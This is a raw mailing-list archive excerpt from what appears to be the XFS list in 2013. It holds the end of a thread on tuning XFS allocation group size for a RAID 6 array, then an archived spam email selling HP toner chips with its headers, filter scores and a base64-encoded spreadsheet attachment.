QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136706 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.10 BSF_SC0_SA085 Custom Rule SA085 On Jul 13, 2013, at 7:13 PM, Eric Sandeen wrote: > On 7/13/13 7:11 PM, aurfalien wrote: >> Hello again, >>=20 >> I have a Raid 6 x16 disk array with 128k stripe size and a 512 byte = block size. >>=20 >> So I do; >>=20 >> mkfs.xfs -f -l size=3D512m -d su=3D128k,sw=3D14 = /dev/mapper/vg_doofus_data-lv_data >>=20 >> And I get; >>=20 >> meta-data=3D/dev/mapper/vg_doofus_data-lv_data isize=3D256 = agcount=3D32, agsize=3D209428640 blks >> =3D sectsz=3D512 attr=3D2, = projid32bit=3D0 >> data =3D bsize=3D4096 blocks=3D6701716480, = imaxpct=3D5 >> =3D sunit=3D32 swidth=3D448 blks >> naming =3Dversion 2 bsize=3D4096 ascii-ci=3D0 >> log =3Dinternal log bsize=3D4096 blocks=3D131072, = version=3D2 >> =3D sectsz=3D512 sunit=3D32 blks, = lazy-count=3D1 >> realtime =3Dnone extsz=3D4096 blocks=3D0, = rtextents=3D0 >>=20 >>=20 >> All is fine but I was recently made aware of tweaking agsize. >=20 > Made aware by what? For what reason? Autodesk has this software called Flame which requires very very fast = local storage using XFS. They have an entire write up on how to calc = proper agsize for optimal performance. I never mess with agsize but it is required when creating the XFS file = system for use with Flame. I realize its tailored for there apps = particular IO characteristics, so I'm curious about it.=20 >> So I would like to mess around and iozone any diffs between the above >> agcount of 32 and whatever agcount changes I may do. >=20 > Unless iozone is your machine's normal workload, that will probably = prove to be uninteresting. Well, it will give me a base line comparison of non tweaked agsize vs = tweaked agsize. >> I didn't see any mention of agsize/agcount on the XFS FAQ and would >> like to know, based on the above, why does XFS think I have 32 >> allocation groups with the corresponding size? >=20 > It doesn't think so, it _knows_ so, because it made them itself. ;) Yea but based on what? Why 32 at there current size? >> And are these optimal >> numbers? >=20 > How high is up? >=20 > Here's the appropriate faq entry: >=20 > = http://xfs.org/index.php/XFS_FAQ#Q:_I_want_to_tune_my_XFS_filesystems_for_= .3Csomething.3E Problem is I run Centos so the line; "As of kernel 3.2.12, the default i/o scheduler, CFQ, will defeat much = of the parallelization in XFS. " ... doesn't really apply. - aurf= From admin@pcc-online.com.cn Sun Jul 14 01:51:36 2013 Return-Path: X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id ECE6C7F55 for ; Sun, 14 Jul 2013 01:51:35 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id D1FAF304043 for ; Sat, 13 Jul 2013 23:51:35 -0700 (PDT) X-ASG-Debug-ID: 1373784674-04cb6c2a42cd3bc0001-NocioJ Received: from smail16.cn4e.com (mail.smail16.cn4e.com [118.244.194.16]) by cuda.sgi.com with ESMTP id FMq7VRKJ4zvSXHex for ; Sat, 13 Jul 2013 23:51:15 -0700 (PDT) X-Barracuda-Envelope-From: admin@pcc-online.com.cn X-Barracuda-Apparent-Source-IP: 118.244.194.16 X-Bordeaux-Score: 500 X-Spam-Flag: NO Received: from pc-20130610dsdo([117.25.25.241]) by smail16.cn4e.com(3.9.0.2b) with ESMTP id 7ACD00010004.204.1373784668.154019; Sun, 14 Jul 2013 14:51:08 +0800 (CST) X-BQId: 7ACD00010004.204.1373784668.154019.1 X-Bordeaux-Type: AUTHSMTP X-35BMId: 7ACD00010004.204.1373784668.154019.1 X-Bordeaux-LOG: SA: TSMF, 3-500-1-16777472,3-500-1-16777472,3-500-1-16777472 eJzt2T9Pg0AYBvAuuqibH+BGHXo5oH8iaQyVoq22PWwxcXChV6pEejQ9SPiwTq5+AydLZTAYaxe 4Jn1/gbzLOzzbkxcOKt+ebt/vf06TDoeW6SBFaWK1vn5qSgXsi7ctdsTc9QOlgRmveZiFc2SNB4 6NrsLl1HPjxNDqZxq+wASrk/PCAwMASneYzXx/WN0+RbZZVYmikYZCOuMOlRYSlO5zix36WngMA MAOO8pmvj/aD04X9elNbygtGpDoY/WquInJhp12HL14PPKZG/khRyJmzBNiFgeopJAAAKlOs5nv j9HYcqSFAtLB/QEA+M9xNvP9MWj3+uh6RAc6arnTuc+NBWPVkAc+X3/rxoxfSgsNCpf2h7u6Jxb R3zsqIUQtLREAYNecZPPX/WHaDnKo3kpmwgiFwOLZT3sDSmM/pP0xMnXrccMVSu+Ql0TekrsBSn +lT8KktHwAAPm+ANrtZCM= X-Bordeaux-Detail: eJxzsrIKjgwOcfW1snIGI0MDEysrIwMQNuByQsh6QGQNDa2sLMytrIxRZYHIEazFwAgoZ2WlkVe ak6OJrAKo2Q9kOhAAKXOYEgDQ9B+B X-Bordeaux-Action-libantispam.so: Action: Relay[NEXT,10000,500:500:500] X-Bordeaux-Action-libspamsa.so: X-Bordeaux-Action-libclamav.so: Virus-Flag: False X-Bordeaux-Action-libsmtpext.so: X-Bordeaux-Action-libpwdrate.so: Subject: Re: toner chips supplier/ promotions chips price for hp 435,hp 436, hp 278, hp 285, hp 530, hp 540 etc Content-Type: multipart/mixed; charset=UTF-8; boundary="dSLUjqmhGF2r4y4o7P4LQdiTUb3=_nGLH8" X-ASG-Orig-Subj: Re: toner chips supplier/ promotions chips price for hp 435,hp 436, hp 278, hp 285, hp 530, hp 540 etc MIME-Version: 1.0 Date: Sun, 14 Jul 2013 14:51:07 +0800 From: "admin@pcc-online.com.cn" To: xfs@oss.sgi.com X-Barracuda-Connect: mail.smail16.cn4e.com[118.244.194.16] X-Barracuda-Start-Time: 1373784674 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 1.94 X-Barracuda-Spam-Status: No, SCORE=1.94 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=ADVANCE_FEE_1, BSF_SC0_SA148a, DEAR_FRIEND, FRT_PRICE, HTML_IMAGE_ONLY_20, HTML_IMAGE_ONLY_20_2, HTML_MESSAGE, MISSING_MID X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 1.00 DEAR_FRIEND BODY: Dear Friend? That's not very dear! 0.00 FRT_PRICE BODY: ReplaceTags: Price 0.10 BSF_SC0_SA148a URI: Custom Rule SA148a 0.00 HTML_IMAGE_ONLY_20 BODY: HTML: images with 1600-2000 bytes of words 0.00 HTML_MESSAGE BODY: HTML included in message 0.70 HTML_IMAGE_ONLY_20_2 HTML: images with 1600-2000 bytes of words 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) Message-Id: <20130714065135.5CF01129618E@cuda.sgi.com> This is a multi-part message in MIME format --dSLUjqmhGF2r4y4o7P4LQdiTUb3=_nGLH8 Content-Type: multipart/alternative; boundary="Z004kFVZivE=_BBus7ooLoAezrTjjbubL6" --Z004kFVZivE=_BBus7ooLoAezrTjjbubL6 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: Quoted-Printable Content-Disposition: inline Dear Friend, How are you? Gladly, in July, we have some promotion price for hp good qualtiy chip= s=20 if your quantity is big: Chip hp 435------------USD 0.14/PC; Chip hp 436------------USD 0.14/PC; Chip hp 278------------USD 0.14/PC; Chip hp 285------------USD 0.14/PC; Chip hp 505------------USD 0.14/PC; Chip hp 530/1/2/3 -----USD 0.14/PC; Chip hp 540/1/2/3 -----USD 0.14/PC etc........ Please send me your chips demand list with quantity to ask more price = when you need. Ok? also attached our full list of chips for your reiview. If there is any question, please let me know Best regards =20 --- Anderson Printer Consumable Center (PCC) www.pcc-online.com.cn (under re-building) MSN:printer_chips@hotmail.com Phone: 0086-18960954485 --Z004kFVZivE=_BBus7ooLoAezrTjjbubL6 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: Quoted-Printable Content-Disposition: inline 1-chip,pricce

    Dear Friend,

    How are you?

    Gladly, in July, we have some promotion price for hp= good=20 qualtiy chips
    if your quantity is big:

    Chip hp 435------------USD 0.14/PC;
    Chip hp=20 436------------USD 0.14/PC;
    Chip hp 278------------USD 0.14/PC;
    = Chip hp=20 285------------USD 0.14/PC;
    Chip hp 505------------USD 0.14/PC;
    = Chip hp=20 530/1/2/3 -----USD 0.14/PC;
    Chip hp 540/1/2/3 -----USD 0.14/PC=20 etc........

    Please send me your chips demand list with quantity = to ask more=20 price when
    you need. Ok? also attached our full list of chips for y= our=20 reiview.

    If there is any question, please let me know<= /P>

    Best regards

     

    ---
    Anderson

    Printer Consumable Center=20= (PCC)

    www.pcc-online.com.cn (unde= r=20 re-building)

    MSN:printer_chips@hotmail.com

    Phone:=20 0086-18960954485

    3D""

    --Z004kFVZivE=_BBus7ooLoAezrTjjbubL6-- --dSLUjqmhGF2r4y4o7P4LQdiTUb3=_nGLH8 Content-Type: application/octet-stream; name="Toner chips list - =?GB2312?B?s/YueGxz?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Toner chips list - =?GB2312?B?s/YueGxz?=" 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAAGAAAAAQAAAAAAAAAA EAAAxwIAAAEAAAD+////AAAAAAAAAABtAAAA7gAAAG8BAAD/AQAAcwIAAP////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////9 ////yQIAAAMAAAAEAAAABQAAAAYAAAAHAAAACAAAAAkAAAAKAAAACwAAAAwAAAD+////DgAAAA8A AAAQAAAAEQAAABIAAAATAAAAFAAAABUAAAAWAAAAFwAAABgAAAAZAAAAGgAAABsAAAAcAAAAHQAA AB4AAAAfAAAAIAAAACEAAAAiAAAAIwAAACQAAAAlAAAAJgAAACcAAAAoAAAAKQAAACoAAAArAAAA LAAAAC0AAAAuAAAALwAAADAAAAAxAAAAMgAAADMAAAA0AAAANQAAADYAAAA3AAAAOAAAADkAAAA6 AAAAOwAAADwAAAA9AAAAPgAAAD8AAABAAAAAQQAAAEIAAABDAAAARAAAAEUAAABGAAAARwAAAEgA AABJAAAASgAAAEsAAABMAAAATQAAAE4AAABPAAAAUAAAAFEAAABSAAAAUwAAAFQAAABVAAAAVgAA AFcAAABYAAAAWQAAAFoAAABbAAAAXAAAAF0AAABeAAAAXwAAAGAAAABhAAAAYgAAAGMAAABkAAAA ZQAAAGYAAABnAAAAaAAAAGkAAABqAAAAawAAAGwAAABuAAAA/f///28AAABwAAAAcQAAAHIAAABz AAAAdAAAAHUAAAB2AAAAdwAAAHgAAAB5AAAAegAAAHsAAAB8AAAAfQAAAH4AAAB/AAAAgAAAAFIA bwBvAHQAIABFAG4AdAByAHkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAWAAUA//////////8CAAAAIAgCAAAAAADAAAAAAAAARgAAAAAld/eeeWfOAfAUAYKcfs4B yAIAAEACAAAAAAAAVwBvAHIAawBiAG8AbwBrAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAABIAAgEFAAAA//////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAANAAAAoGkFAAAAAABFAFQARQB4AHQARABhAHQAYQAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAACAQEAAAADAAAA/////wAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADqFAAAAAAAAAUAUwB1AG0AbQBhAHIAeQBJ AG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAIB/////wQA AAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJQBAAAAAAAACQgQ AAEGAA+aAtUHAAAAAAgAAAD7D84TvUIoFnkC////AQAAwP8AAAAAAADA/wAAAAAAAMD/AAAAAAAA wP8AAAAAAADA/wAAAAAAAMD/AAAAAAAAwP8AAAAAAADA/wAAAAAAAMD/AAAAAAAAwP8AAAAAAADA /wAAAAAAAMD/AAAAAAAAwP8AAAAAAADA/wAAAAAAAMD//AEAAAAAwP////8BAADA/////wEAAMD/ AABgAAAAwP8AAGAAAADA/wD+fwAAAMD/AABgAAAAwP////8BAADA/wAAYAAAAMD/AABgAAAAwP8A AGAAAADA/////wEAAMD/AABgAAAAwP8A/h8AAADA/wAAYAAAAMD/AABgAAAAwP8AAAABAAAAAAAA YAAAAMD/AABgAAAAwP8AAGAAAADA/////wEAAMD/AAAAAQAAAAD///8BAADA/////wEAAMD///// AQAAwP////8BAADA/////wEAAMD/////AQAAwP////8BAADA/////wEAAMD/////AQAAwP////8B AADA/////wEAAMD/////AQAAwP////8BAADA/wD+fwAAAAAA/P//AQAAwP////8BAADA/////wEA AMD/////AQAAwP////8BAADA/wD+HwAAAMD/////AQAAwP////8BAADA/wD+HwAAAMD///8fAAAA AAD///8BAADA/////wEAAMD/AP4fAAAAwP8AAGAAAADA/////wEAAMD/////AQAAwP8AAAAAAADA /wAAYAAAAMD/////AQAAwP////8BAADA/wAAAAAAAMD/AABgAAAAwP////8BAADA/////wEAAMD/ AABgAAAAwP////8BAADA/////wEAAMD/AP5/AAAAwP8AAGAAAADA/////wEAAMD/////AQAAwP8A AGAAAADA/////wEAAMD/////AQAAwP8A/h8AAADA/////wEAAMD/////AQAAwP////8BAADA//// /wEAAMD/////AQAAwP////8BAADA/////wEAAMD/////AQAAwP////8BAADA/wAAAAAAAMD///// AQAAwP////8BAADA/////wEAAMD/AAAAAQAAAAD///8BAADA/////wEAAMD/////AQAAwP////8B AADA/////wEAAMD/////AQAAwP////8BAADA/////wEAAMD/AP5/AAAAwP////8BAADA/////wEA AMD/////AQAAwP////8BAADA/wAAYAAAAMD/////AQAAwP////8BAADA/wAAYAAAAMD/////AQAA wP////8BAADA/////wEAAMD/AABgAAAAwP8AAGAAAADA/////wEAAMD/////AQAAwP8AAGAAAADA /////wEAAMD/////AQAAwP////8BAADA/wAAYAAAAMD/////AQAAwP8AAGAAAADA/////wEAAMD/ ////AQAAwP8AAAAAAADA/////wEAAMD/AAAAAAAAwP////8BAADA/////wEAAMD/////AQAAwP// //8BAADA/////wEAAMD/AABgAAAAwP////8BAADA/////wEAAMD/////AQAAwP8AAAABAAAAAP// /wEAAMD/////AQAAwP8AAAAAAADA/////wEAAMD/////AQAAwP////8BAADA/wAAAAEAAAAA//// AQAAwP8A/n8AAADA/////wEAAMD/////AQAAwP8AAGAAAADA/////wEAAMD/////AQAAwP////8B AADA/////wEAAMD/////AQAAwP////8BAADA//z/HwAAAMD//P8fAAAAwP/8//8AAADA//z/HwAA AMD//P//AAAAwP/8//8AAADA//z//wAAAMD//AEAAAAAwP/8AQAAAADA//wBAAAAAMD//P8fAAAA wP/8/x8AAADA//z//wAAAMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P//AQAAwP/8//8BAADA //z//wEAAMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P//AQAAwP/8//8BAADA//z//wEAAMD/ /P//AQAAwP/8//8BAADA//z//wEAAMD//P//AQAAwP/8//8AAADA//z//wEAAMD//P//AQAAwP/8 //8BAADA//z//wEAAMD//P//AQAAwP/8//8BAADA//wB4AAAAMD//P//AQAAwP/8//8AAADA//z/ /wAAAMD//P//AAAAwP/8//8AAADA//z//wAAAMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P// AQAAwP/8//8BAADA//z//wEAAMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P//AQAAwP/8//8B AADA//z//wEAAMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P//AQAAwP/8//8BAADA//z//wEA AMD//P8fAAAAwP/8/x8AAADA//z/HwAAAMD//P8fAAAAwP/8/x8AAADA//z//wEAAMD//P//AQAA wP/8/x8AAADA//z//wEAAMD//P//AQAAwP/8/x8AAADA//z//wAAAMD//P//AQAAwP/8//8BAADA //z//wEAAMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P//AQAAwP/8/x8AAADA//z/HwAAAMD/ /P8fAAAAwP/8/x8AAADA//z/HwAAAMD//P8fAAAAwP/8//8BAADA//z//wEAAMD//P//AQAAwP/8 //8BAADA//wBAAAAAMD//AEAAAAAwP/8/x8AAADA//z//wAAAMD//P8fAAAAwP/8/x8AAADA//z/ HwAAAMD//P8fAAAAwP/8/x8AAADA//z/HwAAAMD//P8fAAAAwP/8/x8AAADA//z/HwAAAMD//P8f AAAAwP8A/h8AAADA//z/HwAAAMD//P8fAAAAwP/8/x8AAADA//wBAAAAAMD//P//AAAAwP/8/x8A AADA//z/HwAAAMD//P//AAAAwP/8//8AAADA//z//wAAAMD//P8fAAAAwP/8/x8AAADA//z/HwAA AMD//P8fAAAAwP/8/x8AAADA//z/HwAAAMD//P//AAAAwP/8//8AAADA//z//wAAAMD//P//AAAA wP/8//8AAADA//z//wEAAMD//P//AQAAwP/8//8BAADA//z//wAAAMD//P//AAAAwP/8//8BAADA //z//wEAAMD//P//AAAAwP/8//8AAADA//z//wAAAMD//P//AAAAwP/8//8AAADA//z//wAAAMD/ /P//AAAAwP/8//8AAADA//z//wAAAMD//P8fAAAAwP/8/x8AAADA//z/HwAAAMD//P//AAAAwP/8 /x8AAADA//z/HwAAAMD//P8fAAAAwP/8/x8AAADA//z/HwAAAMD//P8fAAAAwP/8/x8AAADA//z/ /wEAAMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P// AQAAwP/8//8AAADA//z//wAAAMD//P//AQAAwP/8//8AAADA//z/HwAAAMD//P//AAAAwP/8/x8A AADA//z/HwAAAMD//P8fAAAAwP/8//8BAADA//z//wEAAMD//P//AQAAwP/8//8BAADA//z//wEA AMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P//AAAA wP/8//8AAADA//z//wAAAMD//P//AAAAwP/8//8AAADA//z//wAAAMD//P//AAAAwP/8//8AAADA //z//wEAAMD//P//AAAAwP/8//8AAADA//z//wAAAMD//P8fAAAAwP/8/x8AAADA//z/HwAAAMD/ /P8fAAAAwP/8/x8AAADA//z//wAAAMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P//AAAAwP/8 /x8AAADA//z/fwEAAMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P9/AQAAwP/8//8BAADA//z/ /wEAAMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P8fAAAAwP/8/x8AAADA//z/HwAAAMD//P8f AAAAwP/8/x8AAADA//z/HwAAAMD//P8fAAAAwP/8/x8AAADA//z/HwAAAMD//P8fAAAAwP/8/x8A AADA//z//wAAAMD//P8fAAAAwP/8/x8AAADA//z/HwAAAMD//P8fAAAAwP/8/x8AAADA//z/HwAA AMD//P//AAAAwP/8//8AAADA//z/fwAAAMD//P9/AAAAwP/8/38AAADA//z/fwAAAMD//P9/AAAA wP/8/38AAADA//z/fwAAAMD//P9/AAAAwP/8/38AAADA//z/fwAAAMD//P9/AAAAwP/8/38AAADA //z/fwAAAMD//P9/AAAAwP/8/38AAADA//z/fwAAAMD//P9/AAAAwP/8/38AAADA//z/fwAAAMD/ /P9/AAAAwP/8/38AAADA//z/fwAAAMD//P9/AAAAwP/8/38AAADA//z/fwAAAMD//P9/AAAAwP/8 /38AAADA//z//wEAAMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P//AQAAwP/8//8BAADA//z/ /wEAAMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P// AAAAwP/8//8BAADA//z/HwAAAMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P//AQAAwP/8//8B AADA//z//wEAAMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P//AQAAwP/8//8BAADA//z//wEA AMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P8fAAAA wP/8/x8AAADA//z//wAAAMD//P8fAAAAwP/8/x8AAADA//z/HwAAAMD//P8fAAAAwP/8/x8AAADA //z/HwAAAMD//P//AAAAwP/8//8AAADA//z//wAAAMD//P//AAAAwP/8//8AAADA//z//wAAAMD/ /P//AQAAwP/8//8BAADA//z//wEAAMD//P//AAAAwP/8//8BAADA//z//wEAAMD//P//AQAAwP/8 //8BAADA//z//wEAAMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P//AQAAwP/8//8BAADA//z/ /wEAAMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P// AQAAwP/8//8BAADA//z//wEAAMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P//AQAAwP/8//8B AADA//z//wEAAMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P//AQAAwP/8//8BAADA//z//wEA AMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P//AQAAwP/8/x8AAADA//z/HwAAAMD//P8fAAAA wP/8/x8AAADA//z/HwAAAMD//P8fAAAAwP/8/x8AAADA//z/HwAAAMD//P8fAAAAwP/8/x8AAADA //z/HwAAAMD//P8fAAAAwP/8/x8AAADA//z/HwAAAMD//P8fAAAAwP/8//8AAADA//wBGAAAAMD/ /AEAAAAAwP/8ARgAAADA//wBAAAAAMD//wEAAAAAAIL/AQAAAAAAgvwBAAAAAMD/AAAAAAAAwP/8 AQAAAADA//z/HwAAAMD//P8fAAAAwP/8/38AAADA//z/HwAAAMD//P8fAAAAwP/8/x8AAADA//z/ HwAAAMD//P8fAAAAwP/8//8AAADA//z/HwAAAMD//P//AAAAwP/8/x8AAADA//z/fwAAAMD//P9/ AAAAwP/8//8BAADA//z//wEAAMD//P//AQAAwP/8//8BAADA//z//wEAAMD//P//AQAAwP/8//8B AADA//z//wEAAMD//P//AQAAwP/8/38AAADA//z//wEAAMD//P//AQAAwP/8//8BAADA//z/HwAA AMD//P//AAAAwP/8/x8AAADA//z/fwEAAMD//P8fAAAAwP/8/38AAADA//z/fwAAAMD//P//AAAA wP/8/x8AAADA/wD+fwAAAMD//P//AAAAwP/8/38BAADA//z/HwAAAMD/AP4fAAAAwP/8/38AAADA //z/HwAAAMD//P8fAAAAwP/8/x8AAADA//z/fwAAAMD//P9/AAAAwP/8/x8AAADA//z/HwAAAMD/ /P8fAAAAwP8A/h8AAADA//z/fwEAAMD//P9/AAAAwP/8/38AAADA//z/fwAAAMD//P9/AAAAwP/8 /x8AAADA//z//wAAAMD//P8fAQAAwP/8/x8AAADA//z/HwAAAMD//wEAAAAAAML8//8AAADA//z/ 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 